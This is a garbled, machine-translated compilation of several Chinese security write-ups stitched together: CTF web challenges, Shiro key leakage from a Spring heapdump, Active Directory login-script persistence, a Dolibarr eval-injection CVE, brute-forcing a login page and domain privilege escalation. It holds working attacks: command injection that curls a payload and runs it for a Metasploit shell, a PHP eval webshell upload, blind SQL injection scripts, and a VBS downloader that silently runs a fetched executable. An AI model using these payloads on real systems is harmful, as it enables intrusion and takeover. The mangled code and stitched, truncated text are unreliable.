REQのフラグ属性をプロトタイプチェーンを介して汚染する必要があることは明らかです。ペイロードは次のとおりです

id={'__ proto __' :+{'flag':+' flag '}}

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202211271947808.png

次に、旗にアクセスします

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202211271948522.png

静的ターゲットマシンのスクリーンショット

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202211271948518.png

ezupload

最初にphpinfoをアップロードします

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202211271949581.png

php 8.0.1、disable_functionsはバンチをフィルタリングしますが、file_get_contents()が利用可能であり、質問のソースコードはそれを読みます

HTML

form method='post' enctype='multipart/form-data'

このフロントエンドは美しくありません!

入力型='ファイル' name='upload_file' /

入力タイプ='送信' name='送信'値='送信' /

/形状

/体

/HTML

?php

function waf($ var): bool {

$ blacklist=['\ $ _'、 'eval'、 'copy'、 'assert'、 'usort'、 'include'、 'require'、 '$'、 '^'、 '〜'、 ' - '、 '%'、 '*'、 'file'、 'fopen'、 'fwriter'、 'fput'、 'copy'、 'curl'、fread '、' fget '、' function_exists '、' dl '、' putenv '、' system '、' exec '、' shell_exec '、' passthru '、' proc_open '、' proc_close '、' proc_close '、 'proc_get_status'、 'checkdnsrr'、 'getmxrr'、 'getservbyname'、 'getservbyport'、 'syslog'、 'popen'、 'show_source'、 'highlight_file'、 '``、' chmod '];

foreach($ blacklist as $ blackword){

if(strstr($ var、$ blackword))trueを返します。

}

falseを返します。

}

error_reporting(0);

//Directoryのアップロードを設定します

定義( 'upload_path'、 './uploads');

$ msg='アップロード成功!';

if(isset($ _ post ['submit'])){

$ temp_file=$ _files ['upload_file'] ['tmp_name'];

$ file_name=$ _files ['upload_file'] ['name'];

$ ext=pathinfo($ file_name、pathinfo_extension);

if(!preg_match( '/php/i'、strtolower($ ext))){

die( '私は写真が欲しくない、xiong da');

}

$ content=file_get_contents($ temp_file);

if(waf($ content)){

die( 'ああ、あなたは何をしているの、小さなheizi .');

}

$ new_file_name=md5($ file_name)。 '。'。$ ext;

$ img_path=upload_path。 '/'。 $ new_file_name;

if(move_uploaded_file($ temp_file、$ img_path)){

$ is_upload=true;

} それ以外{

$ msg='アップロード障害!';

die();

}

echo $ msg。 ' '。$ img_path;

ビット操作|フィルタリングされていません。ここで、|を取ります例として、Globiteratorを使用してフラグを見つけます

Reをインポートします

preg='\*'

def converttourl(s):

S 16:の場合

return '%0' + str(hex(s).replace( '0x'、 ''))

else:

return '%' + str(hex(s).r

1.calc

質問アドレス:http://116.205.139.16633608001/

右クリック /ソースソースコード

@app.route( '/calc'、method=['get'])

def calc():

ip=request.remote_addr

num=request.values.get( 'num')

log='echo {0} {1} {2} ./tmp/log.txt'.format(%歳〜m%m%M%S',time.localime())、num)

WAF(num):の場合

try:

data=eval(num)

os.system(log)

:を除く

合格

str(データ)を返す

else:

「waf !」を返します

フラスコエラーは、WAFのフィルタリングルールを確認するために報告できます

http://162.14.110.241:8050/calc?num []=

def waf(s):

blacklist=['import'、 '('、 ')'、 '#'、 '@'、 '^'、 '$'、 '、' '?'、 '`'、 ' '、' _ '、' | ';'; '、' '、' '、' '、{'、 '}'、 ''、 '' '、' getattr '、' os '、' system '、' class '、' subclasses '、mro'、 'request'、 'args'、 'eval'、 'if'、 '' subprocess '、' 'file'、 'oppen'、 '' '' '' '' '' '' '' '' '' '' '' 'popen builtins '、' compile '、' execfile '、' from_pyfile '、' config '、' local '、' self '、' item '、' getItem '、' getattribute '、' func_globals '、' __ in exattribute '、' join '、' __ dict__ ']]

flag=true

BlackList:ではありません

s.lower():のno.lower()の場合

flag=false

印刷(いいえ)

壊す

フラグを返します

試した後、私はnumを操作し、%0aを使用して異なるコマンドを分離することができることがわかりました。

次に、ステートメントはeval(num)によって正常に実行される必要があることに注意してください。それ以外の場合は、os.system(log)にジャンプしないことに注意してください。解決策は、コマンドを単一の引用で包むことです。

/calc?num=%0a'curl'%09'gtwq54.dnslog.cn'%0a

バックテックはエコーを引き出すのは簡単ではないので、私は単にカールを使用してペイロードをダウンロードし、MSFでオンラインになります

/calc?num=%0a'curl'%09'http://x.x.x.x:yyy/testapp'%09'-o'%09'/tmp/testapp'%0a

/calc?num=%0a'chmod '%09'777'%09 '/tmp/testapp'%0a

/calc?num=%0a '/tmp/testapp'%0a

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202212031408772.png

2.ez_php

質問アドレス:http://81.70.155.160/

ayacms githubアドレス

https://github.com/loadream/ayacms

問題には多くの脆弱性がありますが、バックグラウンド/フロントデスクにログインする必要があります

バックグラウンドadmin.phpは弱いパスワードを試しましたが失敗し、フロントデスクが登録できませんでした.

そこで、コード監査のためにソースコードを直接ダウンロードしてから、1日のほとんどを視聴しました

ソースコードの多くの場所が定義されています( 'in_aya')またはexit( 'アクセス拒否');つまり、直接アクセスすることはできず、IN_aya定数を定義した他のPHPファイルを介して含めるまたは必要とする必要があります。

この考え方は、ファイルに含まれる脆弱性を見つけることに変換されます

私は長い間探してきましたが、 /ya /admin.inc.phpで場所を見つけました

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202212031946153.png

get_cookieはAYA_プレフィックスでCookie値を取得し、Decryptは対応する暗号化機能のソースコードを見つけることもできます。

暗号化中のaya_keyは、デフォルト値AAAです

ファイルが含まれた後、アイデアははるかに広くなり、それを既知の脆弱性と組み合わせます

https://github.com/loadream/ayacms/issues/3

ペイロード

?php

関数ランダム($ length=4、$ chars='abcdefghijklmnopqrstuvwxyz'){

$ hash='';

$ max=strlen($ chars)-1;

for($ i=0; $ i $ length; $ i ++){

$ hash。=$ chars [mt_rand(0、$ max)];

}

$ hashを返します。

}

function kecrypt($ txt、$ key){

$ key=md5($ key);

$ len=strlen($ txt);

$ ctr=0;

$ str='';

for($ i=0; $ i $ len; $ i ++){

$ ctr=$ ctr==32?0: $ ctr;

$ str。=$ txt [$ i]^$ key [$ ctr ++];

}

$ strを返します。

}

function encrypt($ txt、$ key=''){

$ keyまたは$ key='aaa';

$ rnd=random(32);

$ len=strlen($ txt);

$ ctr=0;

$ str='';

for($ i=0; $ i $ len; $ i ++){

$ ctr=$ ctr==32?0: $ ctr;

$ str。=$ rnd [$ ctr]。($ txt [$ i]^$ rnd [$ ctr ++]);

}

return str_replace( '='、 ''、base64_encode(kecrypt($ str、$ key)));

}

echo necrypt( './module/admin/fst_upload');

HTTPパッケージ

post /aya/admin.inc.php http/1.1

HOST: 81.70.155.160

Content-Length: 244

Cache-Control: Max-age=0

アップグレード-Insecure-Requests: 1

Origin: null

Content-Type: MultiPart/Form-Data;境界=--- webkitformboundarykhsd4wq8ubmzcnd1

user-agent: mozilla/5.0(windows nt 10.0; win64; x64)applewebkit/537.36(khtml、geckoのような)chrome/107.0.0.0 safari/537.36 edg/107.0.1418.6222

Accept: Text/HTML、Application/XHTML+XML、Application/XML; Q=0.9、Image/Webp、Image/Apng、*/*; Q=0.8、Application/Signed-Exchange; v=b3; q=0.9

Accept-Encoding: gzip、deflate

Accept-Language: Zh-Cn、Zh; q=0.9、en; q=0.8、en-gb; q=0.7、en-us; q=0.6

cookie: aya_admin_lang=qwwpiaj9eitzzeeoqwtyofa0dcuamfttv2anpbulrmfnkbrmfteqg1zxtdfaaveyqymwda

Connection:閉じます

----- webkitformboundarykhsd4wq8ubmzcnd1

content-disposition: form-data; name='upfile'; filename='xzxz123123123.php'

Content-Type:アプリケーション/Octet-Stream

?php eval($ _ request [1]); phpinfo();

----- webkitformboundarykhsd4wq8ubmzcnd1

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202212031953539.png

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202212031954835.png

3.ezbypass

ヒントヒントwafはmodsecurityです

タイトルアドレス:http://162.14.110.241:8099/sql.php http://121.37.11.207:8099/sql.php

オンラインで参照記事を見つけました

https://blog.h3xstream.com/2021/10/bypassing-modsecurity-waf.html

残りはスクリプトを使用してペイロードを直接追跡することです。質問にプロンプトが私のパスワードを見つけることができるので、パスワード列のコンテンツを推測してください。

リクエストをインポートします

インポート時間

flag=''

i=1

true:

min=32

max=127

最小max:

time.sleep(0.08)

mid=(min + max)//2

印刷(chr(mid))

payload='if(ascii 1.e(substring(1.e(users.info)、{}、1)){}、1,0)'。形式(i、mid)

url='http://162.14.110.241:8099/sql.php?id={}'。形式(ペイロード)

res=requests.get(url)

res.text:の「letian」の場合

min=Mid + 1

else:

max=mid

flag +=chr(min)

I +=1

print( 'found'、flag)

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202212032123517.png

4.ez_sql

質問アドレス:http://81.70.155.16033603000/https://NCTF.H4CK.fun/static/upload/files/06b43b853452e30514edf6bd709b3f99.zip

タイトルの説明はソースコードを示します

app.js

Import {Application、Router、Helpers} from 'https://deno.land/x/oak/mod.ts';

'./db.js'からのインポートフライト;

const app=new Application();

const router=new Router();

router.get( '/'、async(ctx)={

ctx.response.body='フライトをチェックしてください `/flight?id=`';

});

router.get( '/flight'、async(ctx)={

const id=helpers.getquery(ctx、{mergeparams: true});

const info=await flight.select({leavess: 'departing'、destination: 'destination'})。where(id).all();

ctx.response.body=info;

});

app.use(router.routes());

app.use(router.allowedMethods());

app.listen({port: 3000、hostname: '0.0.0.0'});

db.js

'https://deno.land/x/denodb@v1.0.40/mod.ts'から{dataTypes、database、model、sqlite3connector}をインポート

const connector=new sqlite3connector({

filepath: '/tmp/flight.db'

});

const db=new Database(connector);

クラスフライトはモデルを拡張します{

静的テーブル='Flight';

静的フィールド={

ID: {PrimaryKey: true、autoincrement: true}、

Department: Datatypes.String、

Destination: datacypes.string、

};

}

クラスフラグはモデルを拡張します{

静的テーブル='flag';

静的フィールド={

flag: datatypes.string、

};

}

db.link([flight、flag]);

await db.sync({drop: true});

flight.createを待っています({

部門:「パリ」、

Destination: '東京'、

});

flight.createを待っています({

部門: 'ラスベガス'、

Destination: 'ワシントン'、

});

flight.createを待っています({

部門:「ロンドン」、

Destination: 'サンフランシスコ'、

});

flag.createを待っています({

flag: deno.env.get( 'flag')、

});

デフォルトフライトをエクスポートします

hack.lu 2022 foodapiとほぼまったく同じ、参照記事は次のとおりです

https://blog.huli.tw/2022/10/31/hacklu-ctf-2022-writeup/

https://gist.github.com/parrot409/f7f5807478f50376057fba755865bd98

https://gist.github.com/terjanq/1926a1afb420bd98ac7b97031e377436

唯一の違いは、元の質問IDがRESTFUL APIフォームを使用しているのに対し、この質問はパラメーターに渡されるため、直接コピーすることはできません

ただし、記事で分析された原則を見ると、このアイデアはパラメーターを使用してSQLステートメントをスプライスすることであることがわかります。

http://81.70.155.160:3000/flight?id=1?=aおよび0ユニオン選択フラグ、2から2。

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202212041449665.png

添付ファイルのダウンロード:https://github.com/x1ct34m/nctf2022

元のテキストの転載:https://EXP10IT.CN/2022/12/NCTF-2022-web-writeup/#calc

1。はじめに

Spring HeapdumpがShiro Keyを漏らし、したがってRCEを漏らし、脆弱な環境を構築しました。 GitHubアドレス:https://Github.com/p4r4d1se/heapdump_shiro_vuln

脆弱性の悪用条件:

Spring Shiro環境にはHeapdumpファイルの漏れと搾取可能なチェーンがあります。

2。脆弱性の原則

多くの大物は、シロ関連の脆弱性の原則とデバッグ分析を共有しています。ここでは詳しく説明しません。私は主にこの脆弱性環境を説明します:

(1)Springには実際にSpring Securityと呼ばれる独自のデフォルトのセキュリティフレームワークがありますが、Shiroの使用にはいくつかの開発が使用され、Spring SecuriyをShiroに置き換えます。この状況は珍しいことではありません。たとえば、RuoyiはSpring Shiroです。

1049983-20221205094141235-716240315.jpg(2)キーがある場合、シロの最新バージョンでさえ依然として脆弱性があり、多くの場合、開発、展開、その他の問題によりシロのキーが漏れます。

(3)Shiroが1.2.4を超えるバージョンでは、開発者の手動介入なしにキーがランダム生成に変更されます。このランダム生成は、Web環境が開始されるたびに再起動する前にキーが変更されないことです。 JVM仮想マシンメモリにあります。

1049983-20221205094142103-2055517121.jpg(4)SpringのHeapdumpファイルは、JVM仮想マシンメモリからエクスポートされます。

要約すると、この組み合わせの脆弱性が作成されました。

3。脆弱性の実証

脆弱な環境を読み込んだ後、シロバージョンが1.8.0であることがわかります。

1049983-20221205094143073-114670788.jpg

ポート8080で /アクチュエータ /heapdumpにアクセスして、heapdumpファイルを取得します。

1049983-20221205094143969-554120927.jpg

シロのキーを取得するためによく使用する方法は2つあります。

(1)jdumpspider:https://github.com/whwlsfb/jdumpspider

このウィジェットは、Heapdumpの変動情報を自動的にクロールすることができますが、これはより便利です。欠点は、クロールリストにない情報を見逃す可能性があることです。

:javaを直接実行します-jar jdumpspider.jar heapdump変数情報を自動的に取得します。ここでは、Shirokeyを入手してください:1049983-20221205094144681-379271828.jpg(2)jvisualvm.exe:Java独自のツール、デフォルトパスはJDKディレクトリ/bin/jvisualvm.exeです。

このツールは、必要な情報を手動で見つけて、フィルターにorg.apache.shiro.web.mgt.cookieremembermemanagerを入力する必要があります。

Pythonスクリプトを使用して、Base64エンコードのShiroキーに変換します。Pythonスクリプトを使用して、Base64エンコードされたShiroキーに変換します。

base64をインポートします

インポート構造

print(base64.b64encode(struct.pack( 'bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb)-115,33,59,24,112,44,124,56,110、-15,59,1、-41)))

1049983-20221205094147320-612137025.jpg

サーバーを再起動して、shiroキーをもう一度取得します。キーが変更されたことがわかります。脆弱性の原則の3番目のポイントが検証されます。開始するたびに、ランダムキーが生成されます。

1049983-20221205094148077-2083177773.png

新しいキーに切り替えることは、引き続き使用できます。

1049983-20221205094148947-1689724177.jpg

元のリンクから転載:https://xz.aliyun.com/t/11908

0x1。利用シナリオ

ドメイン制御許可またはドメイン管理者およびその他の高権限を取得する場合、ドメインのPCホストに水平に移動する場合、相手はファイアウォールを開き、445および135で水平に使用できません。ログインスクリプト拘束方法を介してターゲットホストの権限を取得できます。

0x2。利用方法

方法1:PowerShell Win2012以上が伴い、現在のドメインユーザー情報を取得する

get -aduser -filter * -properties * | lastlogondateをソート|名前、メール、distinguedname、lastlogondate |を選択しますExport -CSV -Path C: \ users \ public \ documents \ user.csv -Encoding utf8

指定されたユーザーをバインドします

set -aduser -identity zhangsan -scriptpath 'download.vbs'

バインド

set -aduser -identity zhangsan -scriptpath ''

方法2:バインディングにはDSMODを使用します

dsmod user -loscr'download.vbs''cn=john、cn=users、dc=redteam、dc=com '

バインド

dsmod user -loscr '' 'cn=john、cn=users、dc=redteam、dc=com'

グループポリシーを更新します

シェルgpupdate /force

VBSコンテンツ

strfileurl='http://192.168.172.129:82/logo.ico'strhdlocation=' c: \ uses \ public \ documents \ chsime.exe'set objxmlhttp=create object( 'msxml2.xmlhttp')objxmlhttp.open'get '、strfileurl、falseobjxmlhttp.send()if objxmlhttp.status=200thenset objadosteam=create object(' adodb.stream.openobjadtream.penttream.peentream. 'adtypebinaryobjadostream.write objxmlhttp.responsebodyobjadostream.position=0'Stremset objfso=createObject(' scripting.filesemobject ')if objfso.fileeexists(strhdlocation)の場合、Stripting.filesextystemobject') Nothingobjadostream.savetofile strhdlocationobjadostream.closeset objadostream=noteendifset objxmlhttp=nothingstrcomputer='。' setws=wscript.createObject.createObject( 'wscript.shell')val=ws.run ( 'c: \ uses \ public \ documents \ chsime.exe'、0)

ディレクトリDC C: \ Windows \ sysvol \ sysvol \ redteam.com \ scripts \にアップロードし、1つまたは2つの方法でバインドし、グループポリシーを更新します。

https://www.cnblogs.com/websecyw/p/16657762.html

0x00序文

パブリックテストと排他的なテストに関して、XSSホール、水文学、水文学、水文学を拾う方法!

0x01毎日のテスト

毎日の退屈テストサイト。侵入テストを受けている場合、サーバー内のイメージを呼び出すHTMLタグがあり、サーバーIPアドレスを追加するタイプであることがわかります。ホストヘッダーを変更してXSSがあるかどうかを検出することにより、ファズを試みることができます。1049983-20221205120118289-2003703296.jpg 1049983-20221205120119178-982184139.jpgこの状況を見ると、後者のコードは次のように見える可能性があると推測できます。リクエストパッケージでホストを変更すると、XSSが発生する可能性があります。1049983-20221205120119915-1550751559.jpg

成功ポップアップウィンドウ1049983-20221205120120690-217287024.jpg 1049983-20221205120121286-2038736915.jpgラグを拾うためのヒントが完了しました。

元のリンクから転載:https://Blog.csdn.net/guapichen/article/details/124040935?spm=1001.2014.3001.5501

0x01脆弱性はじめに

dolibarr erp crm=15.0.3は、評価注入に対して脆弱です。デフォルトでは、任意の管理者をdolibarrのインストールページに追加でき、正常に追加された場合、悪意のあるコードをデータベースに挿入してから、評価によって実行できます。

CVE番号:CVE-2022-2633

脆弱性の説明:dolibarr edit.phpには、リモートコマンド実行の脆弱性があります。攻撃者が論理的な脆弱性を通じて管理者を作成した後、バックグラウンドの脆弱性を介してサーバーの権限を取得できます。

影響を受けるバージョン:=15.0.3

0x02脆弱性分析

1.環境構造

ソースコードダウンロードアドレス:3https://github.com/dolibarr/dolibarr/archive/refs/tags/15.0.3.zip

それをWebディレクトリに解凍して直接アクセスする〜/htdocs/

image-20221112215135292

次に、インストールするようにconf/conf.phpを構成します

2。管理者ユーザーを登録

これは実際には論理的な脆弱性です。システムをインストールした後、ロックしませんが、ユーザーがドキュメントディレクトリに手動で追加する必要があるため、管理者アカウントを追加するためにいつでも入力できます。

たとえば、ここにAAAユーザーを追加します

image-20221112224440198

背景を正常に入力できます

image-20221112224514801

3.BackEnd RCE

バックグラウンドRCEの最後のポイントは、htdocs/core/lib/functions.lib.phpのdol_eval()関数にあります

しかし、ここにはWAFがあり、危険な機能のほとんどは禁止されています

//PHP execまたはPHPファイル機能の使用をブロックします

$ forbiddenphpstrings=array( '$$');

$ FORBIDDENPHPSTRINGS=ARRAY_MERGE($ FORBIDDENPHPSTRINGS、ARRAY( '_ env'、 '_Session'、 '_cookie'、 '_get'、 '_post'、 '_request'));

$ forbiddenphpfunctions=array( 'exec'、 'passthru'、 'shell_exec'、 'system'、 'proc_open'、 'popen'、 'eval'、 'dol_eval'、 'executecli');

$forbiddenphpfunctions=array_merge($forbiddenphpfunctions, array('fopen', 'file_put_contents', 'fputs', 'fputscsv', 'fwrite', 'fpassthru', 'require', 'include', 'mkdir', 'rmdir', 'symlink', 'touch', 'unlink', 'umask'));

$ forbiddenphpfunctions=array_merge($ forbiddenphpfunctions、array( 'function'、 'call_user_func'));

$ forbiddenphpregex='global \ s+\ $ | \ b('。prode( '|'、$ forbiddenphpfunctions)。 ')\ b';

する {

$ oldstringtoclean=$ s;

$ s=str_ireplace($ forbiddenphpstrings、 '__forbiddenstring__'、$ s);

$ s=preg_replace( '/'.forbiddenphpregex。'/i '、' __forbiddenstring__ '、$ s);

//$ s=preg_replace( '/\ $ [a-za-z0-9 _ \ - \ $]+\(/i'、 ''、$ s); //削除$ function(call and $ mycall-mythod(

} while($ oldstringtoclean!=$ s);

if(strpos($ s、 '__forbiddenstring__')!==false){

dol_syslog( 'bad string syntax to Evaluate3:'。$ s、log_warning);

if($ returnValue){

'bad string構文を返して、'を評価します。$ s;

} それ以外{

dol_syslog( 'bad string syntax to Evaluate:'。$ s);

戻る '';

}

}

//$ s.'br \ n 'を印刷します。

if($ returnValue){

if($ hiderrors){

return @eval( 'return'。$ s。 ';');

} それ以外{

return eval( 'return'。$ s。 ';');

}

} それ以外{

if($ hiderrors){

@eval($ s);

} それ以外{

eval($ s);

}

}

ここでは、dol_eval()の呼び出しを探し、上記のverifcond()が呼び出されます

そして、ここにスプライシングがあり、これについては後で説明します。

関数verifcond($ stroevaluate)

{

グローバル$ユーザー、$ conf、$ langs;

グローバル$ leftmenu;

グローバル$ rights; //dol_eval関数にエクスポートします

//$ strtoevaluate.'br \ n ';

$ rights=true;

if(ISSET($ sttoevaluate)$ stroevaluate!==''){

$ str='if(!('。$ sttoevaluate。 '))$ rights=false;';

dol_eval($ str、0、1、 '2');

}

$ rightsを返します。

}

次に、Verifcond関数のグローバルパラメーター制御可能な呼び出しを探します。 menubase.class.phpのmenuload()関数にポイントがあります。

image-20221112232201159

Verifcondコードは制御可能ですが、データベースのクエリ結果から取得されることがわかります。

パームと有効化に注意してください。どちらもVerifcondに直接入力できます

$ resql=$ this-db-query($ sql);

if($ resql){

$ numa=$ this-db-num_rows($ resql);

$ a=0;

$ b=0;

while($ a $ numa){

//$ objm=$ this-db-fetch_object($ resql);

$ menu=$ this-db-fetch_array($ resql);

//$右を定義します

$ perms=true;

if(isset($ menu ['perms'])){

$ tmpcond=$ menu ['perms'];

if($ leftmenu=='all'){

$ tmpcond=preg_replace( '/\ $ leftmenu \ s*==\ s*[' \ 'a-za-z _]+/'、 '1==1'、$ tmpcond); //条件の部分を真に強制します

}

$ perms=verifcond($ tmpcond);

//'verifcond rowid='。$ menu ['rowid']。 'を印刷します。 '。$ tmpcond.':'。$ perms.'br \ n ';

}

//$ enabledを定義します

$ enabled=true;

if(isset($ menu ['enabled'])){

$ tmpcond=$ menu ['enabled'];

if($ leftmenu=='all'){

$ tmpcond=preg_replace( '/\ $ leftmenu \ s*==\ s*[' \ 'a-za-z _]+/'、 '1==1'、$ tmpcond); //条件の部分を真に強制します

}

$ enabled=verifcond($ tmpcond);

}

ここで実行されているSQLステートメントを見るために正面に行きましょう。 「.main_db_prefix」のデータを照会しています。メニューテーブルですが、条件付きステートメントがあります

(0、 '。$ conf-entity。')のm.entity

m.menu_handler in( ''。$ this-db-escape($ menu_handler)。 ''、 'all')

したがって、「.main_db_prefix」に挿入ステートメントを見つけることができる場合。メニューでは、パームを制御し、フィールドとエンティティとmenu_handlerを有効にして、条件を満たすことができます。エンティティは$ conf-entityから来ていることに注意してください

$ sql='Select M.Rowid、M.Type、M.Module、M.FK_Menu、M.FK_Mainmenu、M.FK_LeftMenu、M.Url、M.Titre、M.Prefix、M.Langs、M.Perms、M.Enabled、M.Target、M.Mainmenu、M.Leftmenu、M.Leftmenu、M.Position';

$ sql。='from' .main_db_prefix.'menu as m ';

$ sql。='ここで、m.entity in(0、'。$ conf-entity。 ')';

$ sql。='およびm.menu_handler in(' '。$ this-db-escape($ menu_handler)。' '、' all ')';

if($ type_user==0){

$ sql。='およびm.usertype in(0,2)';

}

if($ type_user==1){

$ sql。='およびm.usertype in(1,2)';

}

$ sql。='M.Position、M.Rowid'による注文;

ここでは、定期的な検索を検索してください。実際、同じファイルにcreate()関数、そのような点があります。

image-20221113000249851

次に、パラメーターが制御可能かどうかを確認する必要があります。ここの値はメンバー属性として設定されますが、エンティティは$ conf-entityであり、上記のSQLクエリもこれであるため、条件を直接満たします。

image-20221113001946769

次に、menuload関数を実行するときにmenu_handlerが自動的に入力されることがわかりました。

image-20221113002330295

したがって、両方の条件が解決された場所。残りは、パーマとイネーブルが制御されているかどうかを確認することです。クラス内のメンバー変数を割り当てる場所はないため、グローバルに検索する必要があります。

メニュー/edit.phpでパーマとイネーブルを直接制御できることがわかります

image-20221113002856865

デバッグ後、MenuIDは一意である必要があることがわかりました。そうしないと、競合し、データベースに書き込むことができません。ここでのタイプは1に設定する必要があります。そうしないと、エラーが報告されます。

1049983-20221114122937786-1858356172.png

次に、WAFをバイパスしてevalを実行する方法を研究します。ここで、著者のアプローチは、PHP:変数関数の特性を使用することです

//file_put_contents

$ a=base64_decode( 'zmlszv9wdxrfy29udgvudhm=');

//shellcode

$ a( '。1234.php'、base64_decode( 'pd9wahagcghwaw5mbygpoz8+cg=='));

Verifcond関数を見る

これが文字列のスプライシングです。 evalが実行されているため、ブラケットを閉じて次のコードをコメントすることができます。

関数verifcond($ stroevaluate)

{

グローバル$ユーザー、$ conf、$ langs;

グローバル$ leftmenu;

グローバル$ rights; //dol_eval関数にエクスポートします

//$ strtoevaluate.'br \ n ';

$ rights=true;

if(ISSET($ sttoevaluate)$ stroevaluate!==''){

$ str='if(!('。$ sttoevaluate。 '))$ rights=false;';

dol_eval($ str、0、1、 '2');

}

$ rightsを返します。

}

これはそのようなペイロードです(無害なペイロード

1==1)

次に、有効なパラメーターを配置してデータベースに保存すると、最終的にパッケージは次のとおりです。

image-20221113004416906

データベースに正常に保存されます

image-20221113004508666

デバッグしてVerifcondを入力します

image-20221113004645570

Verifcond、悪意のあるコンストラクトステッチバイパスでフォローアップ、Dol_Evalを入力します

image-20221113004826342

コード実行に正常に

image-20221113004918701

成功したけいれん

image-20221113005123697

脆弱性コールスタック

image-20221113004952924

0x03脆弱性の概要

ここでのこのRCEの脆弱性の原則は、実際には二次注射に似ています。まず、悪意のあるコードがデータベースに保存され、次にデータベースからデータを抽出するときに悪意のあるコードがトリガーされます。ここでもWAFがバイパスされ、PHP機能——変数関数を使用します

脆弱性修正

ここでは、著者の脆弱性に対する修正は、Verifcond関数を強化することです

ここで、文字列のスプライシングがキャンセルされ、dol_evalの4番目のパラメーターは「1」です

image-20221113010538177

これは、次の判断になります。ここでのコメントを見てください。ここのルールは、RCEを防ぐように設計されています。

image-20221113011151428

1つは、DOL_EVAL関数の強化です。ここで、ForbiddenPhpFunctionsはVerifcond関数を追加します。これはVerifcondの実行を直接禁止しますが、このHHHの意味がわかりません

image-20221113010132703

著者:Huamang

元のテキスト接続から転載:https://blog.huamang.xyz/post/cve-2022-40871/

浸透テスト中に、多くのWebログインページがあります。では、テストを実施するためにどのようなアイデアを使用する必要がありますか?私のテスターのアイデアのいくつかを見てみましょう。

テストアイデアこのようなWebログインボックスを表示すると、どのように浸透しますか?

1049983-20221122161144125-937896601.jpg

ログインするときに検証コードがなく、ブラストの問題が発生することがわかります。したがって、ブラストのユーザー名は一般的に何が存在しますか

1.admin

2.テスト

3.root

ここでは、対応するシステムのオペレーターテストを見つけ、アカウントを収集および管理し、爆破の可能性を高めることもできます。

ここで爆破が行われましたが、結果はありませんでした

ディレクトリスキャンディレクトリをスキャンできます。いくつかのスキャンされたディレクトリは認証されておらず、直接アクセスできるかもしれません。

1049983-20221122161144975-43469940.png

上記の方法がJSファイルによって承認されていない後、次のJSファイルを見ていきます

index.jsに /systemmng /index URLがあることがわかりました

アクセスをスプライスしようとします

1049983-20221122161145762-648547022.jpg

スプライシングした後、何もないことがわかりました。あきらめる準備はできていますか?

1049983-20221122161146563-1851357490.jpg

心配しないでください、JSが驚きを見つけたかどうか見てみましょう

1049983-20221122161147284-1744435551.jpg

いくつかのピースのスプライシングは非常に有害です。すべての人のために使用し続けるために1つ取ってください

1049983-20221122161147977-1570743273.jpg

コンビネーションパンチの弱いパスワード爆発がこの点に達しました。管理者のアカウントと電話番号を取得しました。また、パスワードを直接リセットすることもできます(正しいアカウントを取得して爆発してみてください)

パスワードが暗号化され、M5として見つかったことがわかります。 Burpが提供するトランスコーディングとブラストを使用できます。

1049983-20221122161148870-450547764.jpg

爆破は成功し、アカウントは比較的複雑です。以前の操作なしではユーザー名を取得できません。

1049983-20221122161149626-1906501501.jpg

正常にログインします

1049983-20221122161150320-470810085.jpg

ログインしてパッケージテストを返します。ログインしたアカウントパスワードを自由に入力します。ログインしてパッケージをつかみます。

認証データを変更した後

1049983-20221122161151069-1570905541.jpg

変更後、ジャンプに関するデータがないことがわかりました。 JSにはまだリークがありました。

1049983-20221122161151786-761786982.jpg

同じ方法

オーバーリーチは、通常のユーザーのアカウントパスワードを取得しました。次に、右、垂直のオーバーリーチ、または並行した過剰なオーバーリーチを試してみる必要があります。

ブラストアカウントを使用して、ログインしてパケットをキャプチャします。この場所のマスターは、データパケットを数回視聴し、掘るときにパケットを返すことができます。

構築するとき、私はそれが検証IDだと思った。さらに数回のテストの後、コードパラメーターのみを認識していることがわかりました。

1049983-20221122161152477-1992148335.jpg

ウェブサイト上のすべての許可を取得することを許可しないでください

1049983-20221122161153290-648200404.jpg

元の接続:https://xz.aliyun.com/t/11612

1.MS14-068KERBEROS認定、PACなし

ユーザーがKerberos Key Distribution Center(KDC)からTGT(チケット承認サービスによって生成されたID資格)を申請すると、自分のKerberosチケットを偽造できます。

脆弱性効果:

任意のドメインユーザーをドメイン管理アクセス許可に昇格させます

使用条件:

1. 2012R2未満のドメイン制御には、MS14-068(KB3011780)のパッチがありません

2。ドメインに結合するコンピューターを取得します

3.このドメインにドメインユーザーパスワードとコンピューターのSIDを持っている

使い方:

第:010条- 30000条には詳細な説明があります

これは、https://cloud.tencent.com/developer/article/1760132にあります

2.CVE-2020-1472

Netlogon特権エスカレーションの脆弱性(CVE-2020-1472)は、Windowsドメイン制御における深刻なリモート特権エスカレーションの脆弱性です。

Netlogonが使用するAES認証アルゴリズムのデフォルトのVIベクトルは0であり、攻撃者が認証をバイパスします。同時に、ドメイン制御パスワードを設定するリモートインターフェイスもこの関数を使用して、

ドメイン制御マシンユーザーのパスワードを空に設定します。

このようにして、ドメインハッシュをガイドし、最終的にドメイン制御マシンユーザーのパスワードを復元できます。

脆弱性効果:

この脆弱性は、ドメイン管理アクセスを取得するために使用できます

影響バージョン:

x64ベースのシステムサービスパック用のWindows Server 2008 R2

X64ベースのシステムサービスパック用Windows Server 2008 R2(サーバーコアインストール)

Windows Server 2012Windows Server 2012(サーバーコアインストール)

Windows Server 2012 R2 Windows Server 2012 R2(サーバーコアインストール)

Windows Server 2016Windows Server 2016(サーバーコアインストール)

Windows Server 2019Windows Server 2019(サーバーコアインストール)

Windows Server、バージョン1903(サーバーコアインストール)

Windows Server、バージョン1909(サーバーコアインストール)Windows Server、バージョン2004(サーバーコアインストール)

使い方:

準備ツール:

Impacket Toolkit:https://github.com/secureauthcorp/impacket.git

POC:https://github.com/securabv/cve-2020-1472.git

Exp:https://github.com/dirkjanm/cve-2020-1472

Exp:https://github.com/risksense/zerologon

https://cloud.tencent.com/developer/article/1780108

